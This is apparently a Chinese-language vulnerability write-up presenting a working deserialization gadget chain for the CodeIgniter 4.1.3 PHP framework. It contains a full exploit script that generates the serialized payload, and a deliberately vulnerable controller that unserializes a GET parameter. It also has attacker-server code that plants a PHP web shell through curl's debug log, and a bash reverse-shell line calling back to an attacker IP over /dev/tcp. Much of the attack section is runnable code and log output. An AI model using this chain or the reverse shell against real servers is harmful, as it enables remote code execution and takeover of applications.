codeigniter 4.1.3 gadget chain
EXP code
找到一条很有意思的codeigniter框架的链。
<?php
namespace CodeIgniterHTTP {
class CURLRequest {
protected $config = [
"debug" => "./eee.php"
];
}
}
namespace CodeIgniterSessionHandlers {
class MemcachedHandler{
public function __construct($memcached, $url){
$this->memcached = $memcached;
$this->lockKey = $url;
}
}
}
namespace CodeIgniterCacheHandlers {
class RedisHandler{
public $redis;
public function __construct($redis){
$this -> redis = $redis;
}
}
}
namespace {
$ip = $argv[1];
$port = $argv[2];
$exp = array(
new CodeIgniterCacheHandlersRedisHandler(
new CodeIgniterSessionHandlersMemcachedHandler(
new CodeIgniterHTTPCURLRequest(),
"http://$ip:$port/"
)
)
);
echo urlencode(serialize($exp));
}
复现
下载最新的CodeIgniter框架,将以下代码写入app/controller/Home.php
。
<?php
namespace AppControllers;
class Home extends BaseController
{
public function index()
{
$obj = @unserialize($_GET['obj']);
var_dump($obj);
return view('welcome_message');
}
}
准备一个远程服务器,并填入php代码<?php header("X-Powered-By: <?php phpinfo();");
到index.php
。之后在index.php
所在目录启动一个简单的php http服务器。
执行上述exp并复制exp的输出。
php exp.php remote_server_ip remote_server_port
在本地启动CodeIgniter框架,将exp的输出粘贴到obj
参数中。然后,此exp将发送请求到远程服务器,并在本地写入eee.php。访问eee.php将执行phpinfo。
漏洞原理
新gadget的起始向量仍然是CodeIgniterCacheHandlersRedisHandler::__destruct
方法。
public function __destruct()
{
if (isset($this->redis))
{
$this->redis->close();
}
}
将redis设置为
CodeIgniterSessionHandlersMemcachedHandler'类的对象,然后我们跳到CodeIgniterSessionHandlersMemcachedHandler::close
方法。
public function close(): bool
{
if (isset($this->memcached))
{
isset($this->lockKey) && $this->memcached->delete($this->lockKey);
...
将lockKey
分配给一个特别准备的远程服务器ip,memcached
分配给一个CodeIgniterHTTPCURLRequest
类的对象,这个对象,在config
中设置debug
选项为一个php文件。
之后我们将跳到CodeIgniterHTTPCURLRequest::delete
方法。
public function delete(string $url, array $options = []): ResponseInterface
{
return $this->request('delete', $url, $options);
}
这个方法将http请求发送到设置的远程服务器。并且后续的调用将设置$curlOptions[CURLOPT_STDERR]
为我们之前指定的php文件。设置$curlOptions
的方法是CodeIgniterHTTPCURLRequest::setCURLOptions
。
protected function setCURLOptions(array $curlOptions = [], array $config = [])
{
...
if ($config['debug'])
{
$curlOptions[CURLOPT_VERBOSE] = 1;
$curlOptions[CURLOPT_STDERR] = is_string($config['debug']) ? fopen($config['debug'], 'a+') : fopen('php://stderr', 'w');
}
...
}
设置好的远程服务器将对发出的请求作出响应,并在响应头中返回一段php代码。这段php代码会被写入我们指定的curl日志文件中,也就是那个php文件。
远程服务器上的index.php。
<?php
header("X-Powered-By: <?php system('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"');?>");
恶意的curl日志文件。
* Expire in 0 ms for 6 (transfer 0x???)
* Trying ???...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x???)
* Connected to ??? (???) port ??? (#0)
> DELETE / HTTP/1.1
Host: ???
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
< HTTP/1.1 200 OK
< Host: ???
< Date: Thu, 26 Aug 2021 06:07:19 GMT
< Connection: close
< X-Powered-By: <?php system('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"');?>
< Content-type: text/html; charset=UTF-8
<
* Closing connection 0
影响
- 如上所示,这可能导致恶意的php文件被写入服务器,导致攻击者获取服务器权限。
- 当攻击者无法写入恶意文件时,他可以用gopher或ftp协议代替上述http协议来攻击内网服务。